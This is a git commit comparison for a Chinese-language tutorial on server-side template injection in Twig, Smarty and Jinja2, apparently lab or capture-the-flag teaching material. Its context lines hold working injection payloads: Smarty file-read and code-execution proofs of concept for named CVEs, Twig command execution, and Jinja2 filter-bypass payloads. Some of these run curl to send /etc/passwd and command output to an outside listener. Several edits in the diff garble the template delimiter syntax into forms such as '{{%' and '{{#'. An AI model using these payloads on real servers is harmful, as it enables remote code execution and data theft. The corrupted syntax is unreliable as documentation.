Compare commits
3 Commits
9a2c3d8853
...
main
Author | SHA1 | Date | |
---|---|---|---|
786b75d493 | |||
11976de6b1 | |||
9a0d3dfd83 |
@@ -41,7 +41,7 @@ Twig 是一个灵活、快速、安全的 PHP 模板语言。它将模板编译
|
||||
建议通过 Composer 安装 Twig:
|
||||
|
||||
```bash
|
||||
docker run -d -p 8080:80 -v /root/wwwtest/:/app/public/ --name lnmp74 fbraz3/lnmp:7.4
|
||||
docker run -d -p 8080:80 -v /root/wwwtest/:/app/public/ --name lnmp74 registry.cn-hangzhou.aliyuncs.com/eagleslab/service:lnmp74
|
||||
docker exec -it lnmp74 bash
|
||||
[root@c356af4b5b68 /]# cd /app/public
|
||||
[root@c356af4b5b68 www]# composer require "twig/twig:^3.0"
|
||||
@@ -162,7 +162,7 @@ echo $twig->render('tags.twig',[
|
||||
|
||||

|
||||
|
||||
有两种形式的分隔符:{% ... %} 和 {{ ... }}。前者用于执行语句,例如 for 循环,后者用于将表达式的结果输出到模板中。
|
||||
有两种形式的分隔符:{{% ... %} 和 {{ ... }}。前者用于执行语句,例如 for 循环,后者用于将表达式的结果输出到模板中。
|
||||
|
||||
需要注意的是twig会生产缓存文件,所以导致有时候模版的变化并不能直接看到效果,可以每次都让php先清理缓存,再渲染模版
|
||||
|
||||
@@ -268,7 +268,7 @@ echo $twig->render('tags.twig',[
|
||||
|
||||
#### 4.3.5 控制结构
|
||||
|
||||
控制结构是指控制程序流程的所有控制语句 if、elseif、else、for 等,以及程序块等等。控制结构出现在 {% ... %} 块中。
|
||||
控制结构是指控制程序流程的所有控制语句 if、elseif、else、for 等,以及程序块等等。控制结构出现在 {{% ... %} 块中。
|
||||
|
||||
例如使用 for 标签进行循环:
|
||||
|
||||
@@ -299,7 +299,7 @@ echo $twig->render('index.html', ['name' => '<h1>whoami</h1>','users'=>$users]);
|
||||
|
||||
#### 4.3.6 注释
|
||||
|
||||
要在模板中注释某一行,可以使用注释语法 {# ...#}:
|
||||
要在模板中注释某一行,可以使用注释语法 {{# ...#}:
|
||||
|
||||
```plain
|
||||
{# note: disabled template because we no longer use this
|
||||
@@ -395,7 +395,7 @@ echo $template->render();
|
||||
|
||||

|
||||
|
||||
这里的代码中,`createTemplate`时注入了`$_GET['name']`,此时就会引发模板注入。而如下代码则不会,因为模板引擎解析的是字符串常量中的`{{name}}`,而不是动态拼接的`$_GET["name"]`:
|
||||
这里的代码中,`createTemplate`时注入了`$_GET['name']`,此时就会引发模板注入。而如下代码则不会,因为模板引擎解析的是字符串常量中的`{{name}}`,而不是动态拼接的`$_GET["name"]`:
|
||||
|
||||
```php
|
||||
<?php
|
||||
@@ -600,7 +600,7 @@ shell_exec ( string $cmd ) : string
|
||||
{{["id"]|map("exec")}} // 无回显
|
||||
```
|
||||
|
||||
其中`{{["id"]|map("system")}}`会被成下面这样:
|
||||
其中`{{["id"]|map("system")}}`会被成下面这样:
|
||||
|
||||
```php
|
||||
twig_array_map([0 => "id"], "system")
|
||||
@@ -792,7 +792,7 @@ docker run -d -p 8080:80 registry.cn-hangzhou.aliyuncs.com/eagleslab/ctf:ssti_tw
|
||||
|
||||
#### 4.5.1 基础使用方法
|
||||
|
||||
在开始介绍 Smarty 之前先了解一下模板引擎,模板引擎是为了让前端界面(html)与程序代码(php)分离而产生的一种解决方案,简单来说就是 html 文件里再也不用写 php 代码了。Smarty 的原理是变量替换原则,我们只需要在 html 文件里写好 Smarty 的标签即可,例如 {name},然后调用 Smarty 的方法传递变量参数即可
|
||||
在开始介绍 Smarty 之前先了解一下模板引擎,模板引擎是为了让前端界面(html)与程序代码(php)分离而产生的一种解决方案,简单来说就是 html 文件里再也不用写 php 代码了。Smarty 的原理是变量替换原则,我们只需要在 html 文件里写好 Smarty 的标签即可,例如 {{name},然后调用 Smarty 的方法传递变量参数即可
|
||||
|
||||
安装方法
|
||||
|
||||
@@ -839,8 +839,8 @@ $smarty->display($data);
|
||||
|
||||
任意文件读取
|
||||
|
||||
- POC:`string:{include file='C:/Windows/win.ini'}`
|
||||
- 漏洞原因:{include} 标签所导致,被该标签引入的文件只会单纯的输出文件内容,就算引入 php 文件也是如此
|
||||
- POC:`string:{{include file='C:/Windows/win.ini'}`
|
||||
- 漏洞原因:{{include} 标签所导致,被该标签引入的文件只会单纯的输出文件内容,就算引入 php 文件也是如此
|
||||
- 版本限制:无
|
||||
|
||||
引入普通文件:
|
||||
@@ -880,8 +880,8 @@ string:{if system('whoami')}{/if}
|
||||
|
||||
#### 4.5.3 CVE-2021-26120
|
||||
|
||||
- POC:`string:{function name='x(){};system(whoami);function '}{/function}`
|
||||
- 漏洞原因:[{function}](https://www.smarty.net/docs/en/language.function.function.tpl)标签的 name 属性可以通过精心构造注入恶意代码
|
||||
- POC:`string:{{function name='x(){{};system(whoami);function '}{{/function}`
|
||||
- 漏洞原因:[{{function}](https://www.smarty.net/docs/en/language.function.function.tpl)标签的 name 属性可以通过精心构造注入恶意代码
|
||||
- 版本限制:在 3.1.39 版本修复,所以小于 3.1.39 能用
|
||||
|
||||
切换到较早的smarty版本
|
||||
@@ -940,7 +940,7 @@ string:{$smarty.template_object->smarty->setCompileDir('./x')->display('string:{
|
||||
string:{$smarty.template_object->smarty->setCacheDir('./x')->display('string:{system(whoami)}')}
|
||||
```
|
||||
|
||||
- 漏洞原因:可以通过`{$smarty.template_object}`访问到 smarty 对象所导致
|
||||
- 漏洞原因:可以通过`{{$smarty.template_object}`访问到 smarty 对象所导致
|
||||
- 版本限制:这个漏洞还没有被修复,我试过最新版本 4.1.0 跟 3.1.44 都能注入恶意代码
|
||||
|
||||
测试效果
|
||||
@@ -949,7 +949,7 @@ string:{$smarty.template_object->smarty->setCacheDir('./x')->display('string:{sy
|
||||
|
||||
#### 4.5.5 CVE-2021-29454
|
||||
|
||||
- POC:`eval:{math equation='("\163\171\163\164\145\155")("\167\150\157\141\155\151")'}`
|
||||
- POC:`eval:{{math equation='("\163\171\163\164\145\155")("\167\150\157\141\155\151")'}`
|
||||
- 漏洞原因:`libs/plugins/function.math.php`中的`smarty_function_math`执行了`eval()`,而`eval()`的数据可以通过 8 进制数字绕过正则表达式
|
||||
|
||||
版本限制:在 3.1.42 和 4.0.2 中修复,小于这两个版本可用
|
||||
@@ -1033,15 +1033,15 @@ if __name__ == '__main__':
|
||||
|
||||
这里使用的置换型模板,将字符串进行简单替换,其中参数`name`的值完全可控。发现模板引擎成功解析。说明模板引擎并不是将我们输入的值当作字符串,而是当作代码执行了。
|
||||
|
||||
{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。如此一来就可以实现如同sql注入一样的注入漏洞。
|
||||
{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。如此一来就可以实现如同sql注入一样的注入漏洞。
|
||||
|
||||
以flask的jinja2引擎为例,官方的模板语法如下:
|
||||
|
||||
- {% ... %} 用于声明,比如在使用for控制语句或者if语句时
|
||||
- {{......}} 用于打印到模板输出的表达式,比如之前传到到的变量(更准确的叫模板上下文),例如上文 '3*5' 这个表达式
|
||||
- {# ... #} 用于模板注释
|
||||
- {{% ... %} 用于声明,比如在使用for控制语句或者if语句时
|
||||
- {{......}} 用于打印到模板输出的表达式,比如之前传到到的变量(更准确的叫模板上下文),例如上文 '3*5' 这个表达式
|
||||
- {{# ... #} 用于模板注释
|
||||
- \# ... ## 用于行语句,就是对语法的简化
|
||||
- \#...#可以有和{%%}相同的效果
|
||||
- \#...#可以有和{{%%}相同的效果
|
||||
|
||||
由于参数完全可控,则攻击者就可以通过精心构造恶意的 Payload 来让服务器执行任意代码,造成严重危害。下面通过 SSTI 命令执行成功执行 whoami 命令:
|
||||
|
||||
@@ -1654,15 +1654,15 @@ pop()方法可以返回指定序列属性中的某个索引处的元素或指定
|
||||
|
||||
这样的话,那么 __class__、__bases__ 等关键字就成了字符串,就都可以用前面所讲的关键字绕过的姿势进行绕过了。
|
||||
|
||||
##### 5.2.7.5 过滤了大括号 {{
|
||||
##### 5.2.7.5 过滤了大括号 {{
|
||||
|
||||
我们可以用Jinja2的 {%...%} 语句装载一个循环控制语句来绕过:
|
||||
我们可以用Jinja2的 {{%...%} 语句装载一个循环控制语句来绕过:
|
||||
|
||||
```plain
|
||||
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
|
||||
```
|
||||
|
||||
也可以使用 {% if ... %}1{% endif %} 配合 os.popen 和 curl 将执行结果外带(不外带的话无回显)出来:
|
||||
也可以使用 {{% if ... %}1{{% endif %} 配合 os.popen 和 curl 将执行结果外带(不外带的话无回显)出来:
|
||||
|
||||
```plain
|
||||
{% if ''.__class__.__base__.__subclasses__()[191].__init__.__globals__.linecache.os.popen('curl http://10.3.66.102:2333/?key=`cat /etc/passwd`')%}1{% endif %}
|
||||
@@ -1670,7 +1670,7 @@ pop()方法可以返回指定序列属性中的某个索引处的元素或指定
|
||||
# 开启 nc 监听 nc -lvp 2333
|
||||
```
|
||||
|
||||
也可以用 {%print(......)%} 的形式来代替 {{ ,如下:
|
||||
也可以用 {{%print(......)%} 的形式来代替 {{ ,如下:
|
||||
|
||||
```plain
|
||||
{%print(''.__class__.__base__.__subclasses__()[400].__init__.__globals__['os'].popen('curl http://10.3.66.102:2333/?key=`whoami`').read())%}
|
||||
@@ -1744,7 +1744,7 @@ __ . [ "
|
||||
' request {{ _ %20(空格) [ ] . __globals__ __getitem__
|
||||
```
|
||||
|
||||
我们用 {%...%}绕过对 {{ 的过滤,并用unicode绕过对关键字的过滤。unicode绕过是一种网上没提出的方法。
|
||||
我们用 {{%...%}绕过对 {{ 的过滤,并用unicode绕过对关键字的过滤。unicode绕过是一种网上没提出的方法。
|
||||
|
||||
假设我们要构造的payload原型为:
|
||||
|
||||
|
Reference in New Issue
Block a user